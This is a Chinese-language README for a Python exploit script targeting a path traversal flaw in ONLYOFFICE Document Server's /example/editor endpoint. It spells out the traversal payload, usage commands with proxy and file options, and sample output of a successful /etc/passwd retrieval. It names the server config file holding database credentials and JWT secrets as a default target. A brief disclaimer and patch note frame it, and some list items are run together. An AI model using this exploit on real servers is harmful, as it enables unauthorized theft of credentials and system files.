该脚本利用了 ONLYOFFICE Document Server 中的一个路径遍历漏洞(CVE-2023-46988),该漏洞允许未经授权的用户从服务器复制任意文件。该漏洞存在于 /example/editor 端点,其中 fileExt 参数可以被操纵以访问敏感的系统文件和配置文件。
此工具仅用于教育和授权的安全研究目的。
未经明确许可对系统进行未授权使用是非法且不道德的。
/etc/passwd/etc/onlyoffice/documentserver/local.json(包含数据库凭据和 JWT 机密)--file 参数指定任意文件路径进行获取。--proxy)。--verify)。python onlyoffice_exploit.py http://localhost
这将获取:
/etc/passwd/etc/onlyoffice/documentserver/local.json/etc/hosts)python onlyoffice_exploit.py http://localhost --file /etc/hosts
127.0.0.1:8080 上的 Burp Suite)python onlyoffice_exploit.py http://localhost --proxy
python onlyoffice_exploit.py http://localhost --proxy http://127.0.0.1:8080
python onlyoffice_exploit.py https://example.local --verify
python onlyoffice_exploit.py https://example.local --file /etc/hosts --proxy --verify
/example/editor,带有恶意的 fileExt 参数:
GET /example/editor?fileExt=../../../../../../../../etc/passwd
/example/download?fileName=<提取的文件名> 下载文件。[*] Target URL: http://localhost
[*] Attempting to retrieve: /etc/passwd
[*] Sending request to: http://localhost/example/editor?fileExt=../../../../../../../../etc/passwd
[+] Extracted Redirect URL: http://localhost/example/download?fileName=.passwd
[+] Extracted File Name: .passwd
[*] Downloading file: http://localhost/example/download?fileName=.passwd
[+] File downloaded successfully: .passwd
ONLYOFFICE 在其 2024 年 2 月更新中修复了此漏洞。
用户应更新到最新版本以保护其服务器。
本项目采用 MIT 许可证 – 详情请参阅 LICENSE 文件。